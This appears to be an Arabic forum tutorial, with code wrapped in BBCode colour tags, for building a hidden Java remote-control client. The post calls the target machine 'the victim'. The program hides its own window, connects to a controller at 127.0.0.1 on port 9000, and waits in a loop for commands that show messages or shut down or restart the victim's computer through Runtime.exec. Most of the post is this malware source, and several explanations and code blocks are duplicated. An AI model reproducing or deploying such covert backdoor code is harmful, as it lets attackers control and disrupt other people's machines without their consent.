07-10-12, 11:41 AM
و هو عبارة عن فورمة خالية ..
كود :
[color=#000000][COLOR=#0000bb]import java[/color][color=#007700].[/color][color=#0000bb]net[/color][COLOR=#007700].*;
[/COLOR][color=#0000bb]import java[/color][color=#007700].[/color][color=#0000bb]io[/color][COLOR=#007700].*;
[/COLOR][color=#0000bb]import javax[/color][color=#007700].[/color][color=#0000bb]crypto[/color][color=#007700].[/color][color=#0000bb]NullCipher[/color][COLOR=#007700];
[/COLOR][color=#0000bb]import javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JOptionPane[/color][COLOR=#007700];
public class [/COLOR][color=#0000bb]Frame [/color][color=#007700]extends [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]JFrame [/color][COLOR=#007700]{
public [/COLOR][color=#0000bb]Frame[/color][COLOR=#007700]() {
[/COLOR][color=#0000bb]initComponents[/color][COLOR=#007700]();
}
[/COLOR][color=#0000bb]Socket soc[/color][COLOR=#007700];
[/COLOR][color=#0000bb]DataInputStream in[/color][COLOR=#007700];
[/COLOR][color=#0000bb]PrintStream out[/color][COLOR=#007700];
public class [/COLOR][color=#0000bb]ConnectTh [/color][color=#007700]extends [/color][color=#0000bb]Thread[/color][COLOR=#007700]{
public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700](){
try{
[/COLOR][color=#0000bb]soc [/color][color=#007700]= new [/color][color=#0000bb]Socket[/color][color=#007700]([/color][color=#dd0000]"127.0.0.1"[/color][color=#007700],[/color][color=#0000bb]9000[/color][COLOR=#007700]);
[/COLOR][color=#0000bb]in [/color][color=#007700]= new [/color][color=#0000bb]DataInputStream[/color][color=#007700]([/color][color=#0000bb]soc[/color][color=#007700].[/color][color=#0000bb]getInputStream[/color][COLOR=#007700]());
[/COLOR][color=#0000bb]out [/color][color=#007700]= new [/color][color=#0000bb]PrintStream[/color][color=#007700]([/color][color=#0000bb]soc[/color][color=#007700].[/color][color=#0000bb]getOutputStream[/color][COLOR=#007700]());
}catch([/COLOR][color=#0000bb]Exception e[/color][COLOR=#007700]){}
}
}
[/COLOR][/COLOR]كود :
[color=#000000][COLOR=#007700]public class [/color][color=#0000bb]ListenTh [/color][color=#007700]extends [/color][color=#0000bb]Thread[/color][COLOR=#007700]{
public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700](){
while ([/COLOR][color=#0000bb]true[/color][COLOR=#007700]){
try{
if([/COLOR][color=#0000bb]in[/color][color=#007700].[/color][color=#0000bb]readLine[/color][color=#007700]().[/color][color=#0000bb]length[/color][color=#007700]()>[/color][color=#0000bb]1[/color][COLOR=#007700])
[/COLOR][color=#0000bb]NewJob[/color][color=#007700]([/color][color=#0000bb]in[/color][color=#007700].[/color][color=#0000bb]readLine[/color][COLOR=#007700]());
}catch ([/COLOR][color=#0000bb]Exception e[/color][COLOR=#007700]){}
}
}
}
public [/COLOR][color=#0000bb]void NewJob[/color][color=#007700]([/color][color=#0000bb]String m[/color][COLOR=#007700]){
if ([/COLOR][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]startsWith[/color][color=#007700]([/color][color=#dd0000]"Message - "[/color][COLOR=#007700])){
[/COLOR][color=#0000bb]String x [/color][color=#007700]= [/color][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]substring[/color][color=#007700]([/color][color=#0000bb]10[/color][COLOR=#007700]);
[/COLOR][color=#0000bb]JOptionPane[/color][color=#007700].[/color][color=#0000bb]showMessageDialog[/color][color=#007700]([/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]x[/color][COLOR=#007700]);
}else if ([/COLOR][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]startsWith[/color][color=#007700]([/color][color=#dd0000]"$TurnOff"[/color][COLOR=#007700])){
[/COLOR][color=#0000bb]String p [/color][color=#007700]= [/color][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]substring[/color][color=#007700]([/color][color=#0000bb]9[/color][COLOR=#007700]);
}else if ([/COLOR][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]startsWith[/color][color=#007700]([/color][color=#dd0000]"$Restart"[/color][COLOR=#007700])){
[/COLOR][color=#0000bb]String p [/color][color=#007700]= [/color][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]substring[/color][color=#007700]([/color][color=#0000bb]9[/color][COLOR=#007700]);
}
}
@[/COLOR][color=#0000bb]SuppressWarnings[/color][color=#007700]([/color][color=#dd0000]"unchecked"[/color][COLOR=#007700])
[/COLOR][COLOR=#ff8000]// <editor-fold defaultstate="collapsed" desc="Generated Code">
[/COLOR][color=#007700]private [/color][color=#0000bb]void initComponents[/color][COLOR=#007700]() {
[/COLOR][color=#0000bb]setDefaultCloseOperation[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]WindowConstants[/color][color=#007700].[/color][color=#0000bb]EXIT_ON_CLOSE[/color][COLOR=#007700]);
[/COLOR][color=#0000bb]setType[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]Window[/color][color=#007700].[/color][color=#0000bb]Type[/color][color=#007700].[/color][color=#0000bb]UTILITY[/color][COLOR=#007700]);
[/COLOR][color=#0000bb]setUndecorated[/color][color=#007700]([/color][color=#0000bb]true[/color][COLOR=#007700]);
[/COLOR][color=#0000bb]addWindowListener[/color][color=#007700](new [/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]WindowAdapter[/color][COLOR=#007700]() {
public [/COLOR][color=#0000bb]void windowOpened[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]WindowEvent evt[/color][COLOR=#007700]) {
[/COLOR][color=#0000bb]formWindowOpened[/color][color=#007700]([/color][color=#0000bb]evt[/color][COLOR=#007700]);
}
});
[/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout layout [/color][color=#007700]= new [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700]([/color][color=#0000bb]getContentPane[/color][COLOR=#007700]());
[/COLOR][color=#0000bb]getContentPane[/color][color=#007700]().[/color][color=#0000bb]setLayout[/color][color=#007700]([/color][color=#0000bb]layout[/color][COLOR=#007700]);
[/COLOR][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]setHorizontalGroup[/color][COLOR=#007700](
[/COLOR][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]LEADING[/color][COLOR=#007700])
.[/COLOR][color=#0000bb]addGap[/color][color=#007700]([/color][color=#0000bb]0[/color][color=#007700], [/color][color=#0000bb]0[/color][color=#007700], [/color][color=#0000bb]Short[/color][color=#007700].[/color][color=#0000bb]MAX_VALUE[/color][COLOR=#007700])
);
[/COLOR][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]setVerticalGroup[/color][COLOR=#007700](
[/COLOR][color=#0000bb]layout[/color][color=#007700].[/color][color=#0000bb]createParallelGroup[/color][color=#007700]([/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]GroupLayout[/color][color=#007700].[/color][color=#0000bb]Alignment[/color][color=#007700].[/color][color=#0000bb]LEADING[/color][COLOR=#007700])
.[/COLOR][color=#0000bb]addGap[/color][color=#007700]([/color][color=#0000bb]0[/color][color=#007700], [/color][color=#0000bb]0[/color][color=#007700], [/color][color=#0000bb]Short[/color][color=#007700].[/color][color=#0000bb]MAX_VALUE[/color][COLOR=#007700])
);
[/COLOR][color=#0000bb]pack[/color][COLOR=#007700]();
}[/COLOR][COLOR=#ff8000]// </editor-fold>
[/COLOR][color=#0000bb]this[/color][color=#007700].[/color][color=#0000bb]hide[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]ConnectTh cTh [/color][color=#007700]= new [/color][color=#0000bb]ConnectTh[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]cTh[/color][color=#007700].[/color][color=#0000bb]start[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]ListenTh lTh [/color][color=#007700]= new [/color][color=#0000bb]ListenTh[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]lTh[/color][color=#007700].[/color][color=#0000bb]start[/color][COLOR=#007700]();
[/COLOR][/COLOR]كود :
[COLOR=#000000][COLOR=#0000bb]
[/COLOR][color=#007700]public static [/color][color=#0000bb]void main[/color][color=#007700]([/color][color=#0000bb]String args[/color][COLOR=#007700][]) {
[/COLOR][COLOR=#ff8000]//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
[/COLOR][COLOR=#007700]try {
for ([/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]UIManager[/color][color=#007700].[/color][color=#0000bb]LookAndFeelInfo info [/color][color=#007700]: [/color][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]UIManager[/color][color=#007700].[/color][color=#0000bb]getInstalledLookAndFeels[/color][COLOR=#007700]()) {
if ([/COLOR][color=#dd0000]"Nimbus"[/color][color=#007700].[/color][color=#0000bb]equals[/color][color=#007700]([/color][color=#0000bb]info[/color][color=#007700].[/color][color=#0000bb]getName[/color][COLOR=#007700]())) {
[/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]UIManager[/color][color=#007700].[/color][color=#0000bb]setLookAndFeel[/color][color=#007700]([/color][color=#0000bb]info[/color][color=#007700].[/color][color=#0000bb]getClassName[/color][COLOR=#007700]());
break;
}
}
} catch ([/COLOR][color=#0000bb]ClassNotFoundException ex[/color][COLOR=#007700]) {
[/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Logger[/color][color=#007700].[/color][color=#0000bb]getLogger[/color][color=#007700]([/color][color=#0000bb]Frame[/color][color=#007700].class.[/color][color=#0000bb]getName[/color][color=#007700]()).[/color][color=#0000bb]log[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Level[/color][color=#007700].[/color][color=#0000bb]SEVERE[/color][color=#007700], [/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]ex[/color][COLOR=#007700]);
} catch ([/COLOR][color=#0000bb]InstantiationException ex[/color][COLOR=#007700]) {
[/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Logger[/color][color=#007700].[/color][color=#0000bb]getLogger[/color][color=#007700]([/color][color=#0000bb]Frame[/color][color=#007700].class.[/color][color=#0000bb]getName[/color][color=#007700]()).[/color][color=#0000bb]log[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Level[/color][color=#007700].[/color][color=#0000bb]SEVERE[/color][color=#007700], [/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]ex[/color][COLOR=#007700]);
} catch ([/COLOR][color=#0000bb]IllegalAccessException ex[/color][COLOR=#007700]) {
[/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Logger[/color][color=#007700].[/color][color=#0000bb]getLogger[/color][color=#007700]([/color][color=#0000bb]Frame[/color][color=#007700].class.[/color][color=#0000bb]getName[/color][color=#007700]()).[/color][color=#0000bb]log[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Level[/color][color=#007700].[/color][color=#0000bb]SEVERE[/color][color=#007700], [/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]ex[/color][COLOR=#007700]);
} catch ([/COLOR][color=#0000bb]javax[/color][color=#007700].[/color][color=#0000bb]swing[/color][color=#007700].[/color][color=#0000bb]UnsupportedLookAndFeelException ex[/color][COLOR=#007700]) {
[/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Logger[/color][color=#007700].[/color][color=#0000bb]getLogger[/color][color=#007700]([/color][color=#0000bb]Frame[/color][color=#007700].class.[/color][color=#0000bb]getName[/color][color=#007700]()).[/color][color=#0000bb]log[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]util[/color][color=#007700].[/color][color=#0000bb]logging[/color][color=#007700].[/color][color=#0000bb]Level[/color][color=#007700].[/color][color=#0000bb]SEVERE[/color][color=#007700], [/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]ex[/color][COLOR=#007700]);
}
[/COLOR][COLOR=#ff8000]//</editor-fold>
[/COLOR][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]EventQueue[/color][color=#007700].[/color][color=#0000bb]invokeLater[/color][color=#007700](new [/color][color=#0000bb]Runnable[/color][COLOR=#007700]() {
public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700]() {
new [/COLOR][color=#0000bb]Frame[/color][color=#007700]().[/color][color=#0000bb]setVisible[/color][color=#007700]([/color][color=#0000bb]true[/color][COLOR=#007700]);
}
});
}
[/COLOR][COLOR=#ff8000]// Variables declaration - do not modify
// End of variables declaration
[/COLOR][COLOR=#007700]}
[/COLOR][/COLOR]المتغيرات ..
كود :
[color=#000000][COLOR=#0000bb] Socket soc[/color][COLOR=#007700];
[/COLOR][color=#0000bb]DataInputStream in[/color][COLOR=#007700];
[/COLOR][color=#0000bb]PrintStream out[/color][COLOR=#007700];
[/COLOR][/COLOR]المتغير soc لنحدد من خلاله آي بي الاتصال + رقم المنفذ ...
in , out لتهيئة عملية القرائة و الكتابة عبر الشبكة ..
in , out لتهيئة عملية القرائة و الكتابة عبر الشبكة ..
كود :
[color=#000000][COLOR=#007700]public class [/color][color=#0000bb]ConnectTh [/color][color=#007700]extends [/color][color=#0000bb]Thread[/color][COLOR=#007700]{
public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700](){
try{
[/COLOR][color=#0000bb]soc [/color][color=#007700]= new [/color][color=#0000bb]Socket[/color][color=#007700]([/color][color=#dd0000]"127.0.0.1"[/color][color=#007700],[/color][color=#0000bb]9000[/color][COLOR=#007700]);
[/COLOR][color=#0000bb]in [/color][color=#007700]= new [/color][color=#0000bb]DataInputStream[/color][color=#007700]([/color][color=#0000bb]soc[/color][color=#007700].[/color][color=#0000bb]getInputStream[/color][COLOR=#007700]());
[/COLOR][color=#0000bb]out [/color][color=#007700]= new [/color][color=#0000bb]PrintStream[/color][color=#007700]([/color][color=#0000bb]soc[/color][color=#007700].[/color][color=#0000bb]getOutputStream[/color][COLOR=#007700]());
}catch([/COLOR][color=#0000bb]Exception e[/color][COLOR=#007700]){}
}
}
[/COLOR][/COLOR]هذا الكلاس لفتح اتصال دائم مع جهاز العميل من خلال رقم الآي بي و رقم المنفذ من خلال الاسناد للمتغير soc ..
كود :
[color=#000000][COLOR=#007700]public class [/color][color=#0000bb]ListenTh [/color][color=#007700]extends [/color][color=#0000bb]Thread[/color][COLOR=#007700]{
public [/COLOR][color=#0000bb]void run[/color][COLOR=#007700](){
while ([/COLOR][color=#0000bb]true[/color][COLOR=#007700]){
try{
if([/COLOR][color=#0000bb]in[/color][color=#007700].[/color][color=#0000bb]readLine[/color][color=#007700]().[/color][color=#0000bb]length[/color][color=#007700]()>[/color][color=#0000bb]1[/color][COLOR=#007700])
[/COLOR][color=#0000bb]NewJob[/color][color=#007700]([/color][color=#0000bb]in[/color][color=#007700].[/color][color=#0000bb]readLine[/color][COLOR=#007700]());
}catch ([/COLOR][color=#0000bb]Exception e[/color][COLOR=#007700]){}
}
}
}
[/COLOR][/COLOR]هذا الكلاس يقوم باستقبال المعلومات عبر الشبكة الي جهاز الضحية ..من خلال الدالة run و هي المسئولة عن تشغيل جميع الفئات في المشروع ..
و قمنا بعمل حلقة بحيث طالما ال Thread الخاص بالكلاس يعمل فقم بتنفيذ عملية قرائة الرسائل عبر الشبكة .. من خلال الدالة NewJob و التي وظيفتها قرائة النصوص المرسلة الي المتغير in ..
لا تنسي هذه الاكواد و هي لاعادة التشغيل و الاغلاق ...
و قمنا بعمل حلقة بحيث طالما ال Thread الخاص بالكلاس يعمل فقم بتنفيذ عملية قرائة الرسائل عبر الشبكة .. من خلال الدالة NewJob و التي وظيفتها قرائة النصوص المرسلة الي المتغير in ..
كود :
[color=#000000][COLOR=#007700]public [/color][color=#0000bb]void NewJob[/color][color=#007700]([/color][color=#0000bb]String m[/color][COLOR=#007700]){
if ([/COLOR][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]startsWith[/color][color=#007700]([/color][color=#dd0000]"Message - "[/color][COLOR=#007700])){
[/COLOR][color=#0000bb]String x [/color][color=#007700]= [/color][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]substring[/color][color=#007700]([/color][color=#0000bb]10[/color][COLOR=#007700]);
[/COLOR][color=#0000bb]JOptionPane[/color][color=#007700].[/color][color=#0000bb]showMessageDialog[/color][color=#007700]([/color][color=#0000bb]null[/color][color=#007700], [/color][color=#0000bb]x[/color][COLOR=#007700]);
}else if ([/COLOR][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]contains[/color][color=#007700]([/color][color=#dd0000]"TurnOff"[/color][COLOR=#007700])){
[/COLOR][color=#0000bb]shutDown[/color][COLOR=#007700]();
}else if ([/COLOR][color=#0000bb]m[/color][color=#007700].[/color][color=#0000bb]contains[/color][color=#007700]([/color][color=#dd0000]"Restart"[/color][COLOR=#007700])){
[/COLOR][color=#0000bb]restart[/color][COLOR=#007700]();
}
}
[/COLOR][/COLOR]تقوم هذه الدالة باستقبال المتغيرات النصية و التي تحتوي علي اوامر مرسلة من خلال الشبكة ..
فان كا المتغير m يبدأ بجملة Message - فمضمون البيانات المرسلة هي رسالة نصية فقط و ليس امر اعادة تشغيل او اغلاق النظام ..
اما ان كانت ألرسالة تحتوي علي كلمات "TurnOff" فانه امر صريح باغلاق جهاز الضحية و هكذا الحال مع "Restart" ..
فان كا المتغير m يبدأ بجملة Message - فمضمون البيانات المرسلة هي رسالة نصية فقط و ليس امر اعادة تشغيل او اغلاق النظام ..
اما ان كانت ألرسالة تحتوي علي كلمات "TurnOff" فانه امر صريح باغلاق جهاز الضحية و هكذا الحال مع "Restart" ..
كود :
[color=#000000][COLOR=#007700]private [/color][color=#0000bb]void formWindowOpened[/color][color=#007700]([/color][color=#0000bb]java[/color][color=#007700].[/color][color=#0000bb]awt[/color][color=#007700].[/color][color=#0000bb]event[/color][color=#007700].[/color][color=#0000bb]WindowEvent evt[/color][COLOR=#007700]) {
[/COLOR][color=#0000bb]this[/color][color=#007700].[/color][color=#0000bb]hide[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]ConnectTh cTh [/color][color=#007700]= new [/color][color=#0000bb]ConnectTh[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]cTh[/color][color=#007700].[/color][color=#0000bb]start[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]ListenTh lTh [/color][color=#007700]= new [/color][color=#0000bb]ListenTh[/color][COLOR=#007700]();
[/COLOR][color=#0000bb]lTh[/color][color=#007700].[/color][color=#0000bb]start[/color][COLOR=#007700]();
}
[/COLOR][/COLOR]
في حدث فتح الفورم يتم الآتي ..
1 _ اخفاء الفورم
2 _ متغير من نوع كلاس يبحث عن الآي بي من خلال رقم المنفذ و قمنا بمساواة قيمتة مع الكلاس ConnectTh ..
3 _ امر ببدئ عمل الكلاس السابق ..
4 _ متغير lTh من نوع كلاس و هو المسئول عن قرائة الرسائل المرسلة الي جهاز الضحية من خلال مراقبة المنفذ 9000 ..
1 _ اخفاء الفورم
2 _ متغير من نوع كلاس يبحث عن الآي بي من خلال رقم المنفذ و قمنا بمساواة قيمتة مع الكلاس ConnectTh ..
3 _ امر ببدئ عمل الكلاس السابق ..
4 _ متغير lTh من نوع كلاس و هو المسئول عن قرائة الرسائل المرسلة الي جهاز الضحية من خلال مراقبة المنفذ 9000 ..
لا تنسي هذه الاكواد و هي لاعادة التشغيل و الاغلاق ...
كود :
[color=#000000][COLOR=#007700]public [/color][color=#0000bb]void shutDown[/color][COLOR=#007700]() {
try {
[/COLOR][COLOR=#0000bb]Runtime
[/COLOR][color=#007700].[/color][color=#0000bb]getRuntime[/color][COLOR=#007700]()
.[/COLOR][color=#0000bb]exec[/color][COLOR=#007700](
[/COLOR][color=#dd0000]"shutdown -t -t 10 -c \"Message telling shutdown has initiliazed. To stop the shutdown.\""[/color][COLOR=#007700]);
} catch (final [/COLOR][color=#0000bb]IOException e[/color][COLOR=#007700]) {
[/COLOR][color=#0000bb]e[/color][color=#007700].[/color][color=#0000bb]printStackTrace[/color][COLOR=#007700]();
}
}
public [/COLOR][color=#0000bb]void restart[/color][COLOR=#007700]() {
try {
[/COLOR][COLOR=#0000bb]Runtime
[/COLOR][color=#007700].[/color][color=#0000bb]getRuntime[/color][COLOR=#007700]()
.[/COLOR][color=#0000bb]exec[/color][COLOR=#007700](
[/COLOR][color=#dd0000]"shutdown -r -t 10 -c \"Message telling shutdown has initiliazed. To stop the shutdown.\""[/color][COLOR=#007700]);
} catch (final [/COLOR][color=#0000bb]IOException e[/color][COLOR=#007700]) {
[/COLOR][color=#0000bb]e[/color][color=#007700].[/color][color=#0000bb]printStackTrace[/color][COLOR=#007700]();
}
}
[/COLOR][/COLOR]